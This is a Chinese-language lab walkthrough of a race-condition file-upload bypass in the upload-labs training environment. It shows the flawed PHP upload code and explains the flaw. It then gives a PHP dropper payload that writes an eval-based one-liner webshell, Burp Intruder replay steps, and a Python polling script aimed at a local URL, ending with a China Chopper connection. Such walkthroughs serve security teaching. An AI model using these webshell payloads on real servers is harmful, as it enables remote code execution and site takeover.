建议:本地测试,虚拟机的话,因为虚拟网卡转发数据包速率的问题,导致结果不能成功,或者错误
查看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ //将文件移动到对应的文件夹下(先保存文件)
if(in_array($file_ext,$ext_arr)){ //判断文件后缀
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path); //合法的文件修改文件名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); //不合法的删除
}
}else{
$msg = '上传出错!';
}
}
思路:源代码中是先将文件保存到文件夹后,再判断的文件后缀是否合法,不合法的删除。在多线程情况下,有可能出现文件夹中的文件还没处理完,我们就访问了原文件,这样就会导致绕过防护。
实验步骤:
第一种:使用python脚本
第一步:使用burpsuite抓包上传shell1.php,一直重放上传文件
shell1内容:<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>’);?>
作用:
只要访问了shell1.php文件,php文件就会成功解析执行,自动创建一个shell2.php,写入一句话木马:<?php @eval($_POST["x"]);?>
注:
fputs()函数的用法
1、fputs() 函数将内容写入一个打开的文件中。
2、函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。
3、如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。
4、fputs() 函数是 fwrite() 函数的别名。
fopen()函数的用法
1、fopen() 函数打开一个文件或 URL。
2、如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
“r” (只读方式打开,将文件指针指向文件头)
“r+” (读写方式打开,将文件指针指向文件头)
“w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
“w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
“a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
“a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
“x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
“x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)
首先:抓包——》右键发送给Intruder
查看发送文件名字为shell.php,发送内容为:1<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>’); ?>
设置数据包无限重发
第二步:在burpsuite重放数据包之前,打开python脚本运行,脚本代码如下所示:
import requests
url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
第三步:开始重放攻击
仔细观察python脚本,出现OK就停止重放数据包即可。
出现OK的意思是,shell.php在被删除之前成功访问并执行php代码
php代码执行之后在upload文件夹内生成info.php
中国菜刀连接成功
第二种:不使用python脚本
burpsuite工具采用第一种方法多线程重放数据包
手工打开浏览器快速点击URL访问shell.php,直到界面出现如下所示
表名,我们在shell.php文件删除之前访问了shell.php文件,并且成功执行,生成了一句话木马文件:info.php
中国菜刀连接成功如下图所示:
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。